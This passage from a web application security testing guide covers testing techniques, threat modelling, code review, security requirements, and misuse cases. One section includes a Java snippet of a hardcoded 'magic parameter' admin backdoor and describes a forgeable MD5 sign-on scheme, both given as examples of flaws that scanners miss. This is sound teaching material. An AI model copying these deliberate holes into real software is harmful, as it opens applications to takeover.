data-flow diagrams, use cases, etc, should be recorded in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use cases. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization’s applications and network (e.g., IDS systems).\n\n### Use the Right Tools\n\nWhile we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. However, it is important to understand exactly what these tools can and cannot do so that they are not oversold or used incorrectly.\n\n### The Devil is in the Details\n\nIt is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positives that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.\n\n### Use Source Code When Available\n\nWhile black-box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in a production environment, they are not the most effective or efficient way to secure an application. It is difficult for dynamic testing to test the entire code base, particularly if many nested conditional statements exist. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black-box engagement.\n\n### Develop Metrics\n\nAn important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization.\n\nGood metrics will show:\n\n- If more education and training are required;\n- If there is a particular security mechanism that is not clearly understood by the development team;\n- If the total number of security related problems being found each month is going down.\n\nConsistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using standard metrics like those provided by the OWASP Metrics project and other organizations is a good starting point.\n\n### Document the Test Results\n\nTo conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they were performed, and details of the test findings. It is wise to agree on an acceptable format for the report that is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance.\n\nThe report should clearly identify to the business owner where material risks exist, and do so in a manner sufficient to get their backing for subsequent mitigation actions. The report should also be clear to the developer in pin-pointing the exact function that is affected by the vulnerability and associated recommendations for resolving issues in a language that the developer will understand. The report should also allow another security tester to reproduce the results. Writing the report should not be overly burdensome on the security tester themselves. Security testers are not generally renowned for their creative writing skills, and agreeing on a complex report can lead to instances where test results are not properly documented. Using a security test report template can save time and ensure that results are documented accurately and consistently, and are in a format that is suitable for the audience.\n\n## Testing Techniques Explained\n\nThis section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques, as this information is covered in Chapter 3. This section is included to provide context for the framework presented in the next chapter and to highlight the advantages and disadvantages of some of the techniques that should be considered. In particular, we will cover:\n\n- Manual Inspections & Reviews\n- Threat Modeling\n- Code Review\n- Penetration Testing\n\n## Manual Inspections and Reviews\n\n### Overview\n\nManual inspections are human reviews that typically test the security implications of people, policies, and processes. Manual inspections can also include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners.\n\nWhile the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, the tester can quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure that there is an adequate policy or skill set in place.\n\nAs with many things in life, when conducting manual inspections and reviews it is recommended that a trust-but-verify model is adopted. Not everything that the tester is shown or told will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement a secure application.\n\nOther activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.\n\n### Advantages\n\n- Requires no supporting technology\n- Can be applied to a variety of situations\n- Flexible\n- Promotes teamwork\n- Early in the SDLC\n\n### Disadvantages\n\n- Can be time-consuming\n- Supporting material not always available\n- Requires significant human thought and skill to be effective\n\n## Threat Modeling\n\n### Overview\n\nThreat modeling has become a popular technique to help system designers think about the security threats that their systems and applications might face. Therefore, threat modeling can be seen as risk assessment for applications. It enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses.\n\nTo develop a threat model, we recommend taking a simple approach that follows the [NIST 800-30](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final) standard for risk assessment. This approach involves:\n\n- Decomposing the application – use a process of manual inspection to understand how the application works, its assets, functionality, and connectivity.\n- Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.\n- Exploring potential vulnerabilities - whether technical, operational, or managerial.\n- Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective by using threat scenarios or attack trees.\n- Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic.\n\nThe output from a threat model itself can vary but is typically a collection of lists and diagrams. The OWASP Code Review Guide outlines an Application Threat Modeling methodology that can be used as a reference for testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications.\n\n### Advantages\n\n- Practical attacker’s view of the system\n- Flexible\n- Early in the SDLC\n\n### Disadvantages\n\n- Relatively new technique\n- Good threat models don’t automatically mean good software\n\n## Source Code Review\n\n### Overview\n\nSource code review is the process of manually checking the source code of a web application for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what’s really going on, go straight to the source.” Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code, somewhere. Unlike testing third-party closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes.\n\nMany unintentional but significant security problems are also extremely difficult to discover with other forms of analysis or testing, such as penetration testing. This makes source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black-box testing.\n\nExamples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses, as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web sites. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or where fail-open control procedures may be present. Operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein. [Ken Thompson’s Turing Award speech](https://ia600903.us.archive.org/11/items/pdfy-Qf4sZZSmHKQlHFfw/p761-thompson.pdf) describes one possible manifestation of this issue.\n\n### Advantages\n\n- Completeness and effectiveness\n- Accuracy\n- Fast (for competent reviewers)\n\n### Disadvantages\n\n- Requires highly skilled security developers\n- Can miss issues in compiled libraries\n- Cannot detect run-time errors easily\n- The source code actually deployed might differ from the one being analyzed\n\nFor more on code review, see the [OWASP code review project](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project).\n\n## Penetration Testing\n\n### Overview\n\nPenetration testing has been a common technique used to test network security for many years. It is also commonly known as black-box testing or ethical hacking. Penetration testing is essentially the “art” of testing a running application remotely to find security vulnerabilities, without knowing the inner workings of the application itself. Typically, the penetration test team is able to access an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given a valid account on the system.\n\nWhile penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work involved is in finding, and then exploiting, known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Some automated penetration testing tools have been developed, but considering the bespoke nature of web applications, their effectiveness alone is usually poor.\n\nMany people use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. As Gary McGraw wrote in [Software Penetration Testing](https://www.garymcgraw.com/wp-content/uploads/2015/11/bsi6-pentest.pdf), “In practice, a penetration test can only identify a small representative sample of all possible security risks in a system.” However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the source code deployed on the web site.\n\n### Advantages\n\n- Can be fast (and therefore cheap)\n- Requires a relatively lower skill-set than source code review\n- Tests the code that is actually being exposed\n\n### Disadvantages\n\n- Too late in the SDLC\n- Front-impact testing only\n\n## The Need for a Balanced Approach\n\nWith so many techniques and approaches to testing the security of web applications, it can be difficult to understand which techniques to use or when to use them. Experience shows that there is no right or wrong answer to the question of exactly which techniques should be used to build a testing framework. In fact, all techniques should be used to test all the areas that need to be tested.\n\nAlthough it is clear that there is no single technique that can be performed to effectively cover all security testing and ensure that all issues have been addressed, many companies adopt only one approach. The single approach used has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested. It is simply “too little too late” in the SDLC.\n\nThe correct approach is a balanced approach that includes several techniques, from manual reviews to technical testing. A balanced approach should cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available, depending on the current SDLC phase.\n\nOf course there are times and circumstances where only one technique is possible. For example, consider a test of a web application that has already been created, but where the testing party does not have access to the source code. In this case, penetration testing is clearly better than no testing at all. However, the testing parties should be encouraged to challenge assumptions, such as not having access to source code, and to explore the possibility of more complete testing.\n\nA balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. It is recommended that a balanced testing framework should look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the SLDC. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.\n\n*Figure 2-3: Proportion of Test Effort in SDLC*\n\nThe following figure shows a typical proportional representation overlaid onto testing techniques.\n\n*Figure 2-4: Proportion of Test Effort According to Test Technique*\n\n### A Note about Web Application Scanners\n\nMany organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, some fundamental issues need to be highlighted about why it is believed that automating black-box testing is not (nor will ever be) completely effective. However, highlighting these issues should not discourage the use of web application scanners. Rather, the aim is to ensure the limitations are understood and testing frameworks are planned appropriately.\n\nIt is helpful to understand the efficacy and limitations of automated vulnerability detection tools. To this end, the [OWASP Benchmark Project](https://owasp.org/www-project-benchmark/) is a test suite designed to evaluate the speed, coverage, and accuracy of automated software vulnerability detection tools and services. Benchmarking can help to test the capabilities of these automated tools, and help to make their usefulness explicit.\n\nThe following examples show why automated black-box testing may not be effective.\n\n### Example 1: Magic Parameters\n\nImagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: `http://www.host/application?magic=value`\n\nTo further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9.\n\nThe designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now: `http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d`\n\nGiven that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30\\^28 permutations, or trillions of HTTP requests. That is an electron in a digital haystack.\n\nThe code for this exemplar Magic Parameter check may look like the following:\n\n```\npublic void doPost( HttpServletRequest request, HttpServletResponse response) { String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”; boolean admin = magic.equals( request.getParameter(“magic”)); if (admin) doAdmin( request, response); else … // normal processing } \n```\n\nBy looking in the code, the vulnerability practically leaps off the page as a potential problem.\n\n### Example 2: Bad Cryptography\n\nCryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In his/her wisdom, the developer decides that if a user is logged into site A, then he/she will generate a key using an MD5 hash function that comprises: `Hash { username : date }`\n\nWhen a user is passed to site B, he/she will send the key on the query string to site B in an HTTP re-direct. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be.\n\nAs the scheme is explained the inadequacies can be worked out. Anyone that figures out the scheme (or is told how it works, or downloads the information from Bugtraq) can log in as any user. Manual inspection, such as a review or code inspection, would have uncovered this security issue quickly. A black-box web application scanner would not have uncovered the vulnerability. It would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.\n\n### A Note about Static Source Code Review Tools\n\nMany organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, it is necessary to highlight some fundamental issues about why this approach is not effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design, since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining security issues due to coding errors, however significant manual effort is required to validate the findings.\n\n## Deriving Security Test Requirements\n\nTo have a successful testing program, one must know what the testing objectives are. These objectives are specified by the security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations, from positive application requirements (specifying what the application is supposed to do), and from negative application requirements (specifying what the application should not do). It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.\n\n### Testing Objectives\n\nOne of the objectives of security testing is to validate that security controls operate as expected. This is documented via `security requirements` that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [OWASP Top Ten](https://owasp.org/www-project-top-ten/), as well as vulnerabilities that have been previously identified with security assessments during the SDLC, such as threat modeling, source code analysis, and penetration test.\n\n### Security Requirements Documentation\n\nThe first step in the documentation of security requirements is to understand the `business requirements`. A business requirement document can provide initial high-level information on the expected functionality of the application. For example, the main purpose of an application may be to provide financial services to customers or to allow goods to be purchased from an on-line catalog. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.\n\nA general checklist of the applicable regulations, standards, and policies is a good preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country or state where the application will operate. Some of these compliance guidelines and regulations might translate into specific technical requirements for security controls. For example, in the case of financial applications, compliance with the [Federal Financial Institutions Examination Council guidelines for authentication](https://www.fdic.gov/news/news/financial/2011/fil11050.html) requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security control and multi-factor authentication.\n\nApplicable industry standards for security must also be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, compliance with the [PCI Security Standards Council](https://www.pcisecuritystandards.org/pci_security/) Data Security Standard (DSS) forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.\n\nAnother section of the checklist needs to enforce general requirements for compliance with the organization’s information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such a requirement can be: “a password complexity of ten alphanumeric characters must be enforced by the authentication controls used by the application.” When security requirements map to compliance rules, a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to manage. Since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.\n\n### Security Requirements Validation\n\nFrom the functionality perspective, the validation of security requirements is the main objective of security testing. From the risk management perspective, the validation of security requirements is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. Examined further, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personally identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization’s encryption standards. These might require that only certain algorithms and key lengths be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-256, RSA, AES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).\n\nFrom the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design; secure code analysis and reviews focus on identifying security issues in source code during development; and penetration testing focuses on identifying vulnerabilities in the application during testing or validation.\n\nSecurity issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black-box test might first involve a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis before the malicious query is executed. Assuming the tester has the source code, he or she might directly learn from the source code analysis how to construct the SQL attack vector that will successfully exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user). This can expedite the validation of the SQL vulnerability.\n\n### Threats and Countermeasures Taxonomies\n\nA `threat and countermeasure classification`, which takes into consideration root causes of vulnerabilities, is the critical factor in verifying that security controls are designed, coded, and built to mitigate the impact of the exposure of such vulnerabilities. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. The [OWASP Testing Guide Checklist](https://github.com/OWASP/wstg/tree/master/checklist) is a helpful resource for guiding testers through specific vulnerabilities and validation tests.\n\nThe focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using [STRIDE](https://en.wikipedia.org/wiki/STRIDE_(security)), an acronym for Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.\n\nA threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying a hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding, the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.\n\n### Security Testing and Risk Analysis\n\nSecurity requirements need to take into consideration the severity of the vulnerabilities to support a `risk mitigation strategy`. Assuming that the organization maintains a repository of vulnerabilities found in applications (i.e, a vulnerability knowledge base), the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.\n\nFor example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing, it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk vulnerabilities can be fixed in further releases.\n\nBy considering the threat scenarios of exploiting common vulnerabilities, it is possible to identify potential risks that the application security control needs to be security tested for. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization’s vulnerability knowledge base can be used to derive security-risk-driven test cases to validate the most likely attack scenarios. For example, if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.\n\n### Deriving Functional and Non-Functional Test Requirements\n\n#### Functional Security Requirements\n\nFrom the perspective of functional security requirements, the applicable standards, policies, and regulations drive both the need for a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests. Examples of positive requirements are: “the application will lockout the user after six failed log on attempts” or “passwords need to be a minimum of ten alphanumeric characters”. The validation of positive requirements consists of asserting the expected functionality and can be tested by re-creating the testing conditions and running the test according to predefined inputs. The results are then shown as as a fail or pass condition.\n\nIn order to validate security requirements with security tests, security requirements need to be function-driven. They need to highlight the expected functionality (the what) and imply the implementation (the how). Examples of high-level security design requirements for authentication can be:\n\n- Protect user credentials and shared secrets in transit and in storage.\n- Mask any confidential data in display (e.g., passwords, accounts).\n- Lock the user account after a certain number of failed log in attempts.\n- Do not show specific validation errors to the user as a result of a failed log on.\n- Only allow passwords that are alphanumeric, include special characters, and are a minimum ten characters in length, to limit the attack surface.\n- Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user’s answer to the challenge question, to prevent brute forcing of a password via password change.\n- The password reset form should validate the user’s username and the user’s registered email before sending the temporary password to the user via email. The temporary password issued should be a one-time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user’s temporary password, the new password, as well as the user’s answer to the challenge question.\n\n#### Risk-Driven Security Requirements\n\nSecurity tests must also be risk-driven. They need to validate the application for unexpected behavior, or negative requirements.\n\nExamples of negative requirements are:\n\n- The application should not allow for the data to be altered or destroyed.\n- The application should not be compromised or misused for unauthorized financial transactions by a malicious user.\n\nNegative requirements are more difficult to test, because there is no expected behavior to look for. Looking for expected behavior to suit the above requirements might require a threat analyst to unrealistically come up with unforeseeable input conditions, causes, and effects. Hence, security testing needs to be driven by risk analysis and threat modeling. The key is to document the threat scenarios, and the functionality of the countermeasure as a factor to mitigate a threat.\n\nFor example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasures perspective:\n\n- Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks.\n- Encrypt passwords using non-reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks.\n- Lock out accounts after reaching a log on failure threshold and enforce password complexity to mitigate risk of brute force password attacks.\n- Display generic error messages upon validation of credentials to mitigate risk of account harvesting or enumeration.\n- Mutually authenticate client and server to prevent non-repudiation and Man In the Middle (MiTM) attacks.\n\nThreat modeling tools such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users’ messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.\n\n### Deriving Security Test Requirements Through Use and Misuse Cases\n\nA prerequisite to describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing use cases. Use cases, in the graphical form as is commonly used in software engineering, show the interactions of actors and their relations. They help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, preconditions, and post-conditions.\n\nSimilar to use cases, [misuse and abuse cases](https://folk.uio.no/nik/2001/21-sindre.pdf) describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios.\n\nMisuse scenarios allow the analysis of the application from the attacker’s point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which are the most critical and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.\n\nTo derive security requirements from [both use and misuse cases](https://iacis.org/iis/2006/Damodaran.pdf), it is important to define the functional scenarios and the negative scenarios and put these in graphical form. The following example is a step-by-step methodology for the case of deriving security requirements for authentication.\n\n#### Step 1: Describe the Functional Scenario\n\nUser authenticates by supplying a username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.\n\n#### Step 2: Describe the Negative Scenario\n\nAttacker breaks the authentication through a brute force or dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker that is used to guess which accounts are valid registered accounts (usernames). The attacker then attempts to brute force the password for a valid account. A brute force attack on passwords with a minimum length of four digits can succeed with a limited number of attempts (i.e., 10\\^4).\n\n#### Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case\n\nThe graphical example below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (entering a username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e. trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.\n\n*Figure 2-5: Use and Misuse Case*\n\n#### Step 4: Elicit The Security Requirements\n\nIn this case, the following security requirements for authentication are derived:\n\n1. Passwords requirements must be aligned with the current standards for sufficient complexity.\n2. Accounts must be to locked out after five unsuccessful log in attempts.\n3. Log in error messages must be generic.\n\nThese security requirements need to be documented and tested.\n\n## Security Tests Integrated in Development and Testing Workflows\n\n### Security Testing in the Development Workflow\n\nSecurity testing during the development phase of the SDLC represents the first opportunity for developers to ensure that the individual software components they have developed are security tested before they are integrated with other components and built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executable files. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.\n\nThe validation of source code before integration in application builds is usually the responsibility of the senior developer. Senior developers are also the subject matter experts in software security and their role is to lead the secure code review. They must make decisions on whether to accept the code to be released in the application build, or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance, as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master then can look at the test results reported by the developers in the tool, and grant approvals for checking in the code changes into the application build.\n\n### Security Testing in the Test Workflow\n\nAfter components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities, they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white-box testing, such as source code analysis, and black-box testing, such as penetration testing. Tests can also include gray-box testing, in which it is assumed that the tester has some partial knowledge about the application. For example, with some knowledge about the session management of the application, the tester can better understand whether the log out and timeout functions are properly secured.\n\nThe target for the security tests is the complete system that is vulnerable to attack. During this phase, it is possible for security testers to determine whether vulnerabilities can be exploited. These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.\n\nUsually, testing engineers, rather then software developers, perform security tests when the application is in scope for integration system tests. Testing engineers have security knowledge of web application vulnerabilities, black-box and white-box testing techniques, and own the validation of security requirements in this phase. In order to perform security tests, it is a prerequisite that security test cases are documented in the security testing guidelines and procedures.\n\nA testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application’s functional testing is usually a responsibility of QA testers, while white-hat hackers or security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team to conduct such tests when a third party assessment is not required (such as for auditing purposes).\n\nSince these tests can sometimes be the last line of defense for fixing vulnerabilities before the application is released to production, it is important that issues are addressed as recommended by the testing team. The recommendations can include code, design, or configuration change. At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the development team to fix all high risk vulnerabilities before the application can be deployed, unless such risks are acknowledged and accepted.\n\n### Developer’s Security Tests\n\n#### Security Testing in the Coding Phase: Unit Tests\n\nFrom the developer’s perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers’ own coding artifacts (such as functions, methods, classes, APIs, and libraries) need to be functionally validated before being integrated into the application build.\n\nThe security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. If the unit test activity follows a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Both secure code reviews and source code analysis through source code analysis tools can help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.\n\nA good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:\n\n- Identity, authentication & access control\n- Input validation & encoding\n- Encryption\n- User and session management\n- Error and exception handling\n- Auditing and logging\n\nDevelopers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as JUnit, NUnit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitation) and boundary checks for variables by asserting the expected functionality of the component.\n\nThe threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number).\n\nAt the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being de-allocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.\n\nUnit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked in to the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application 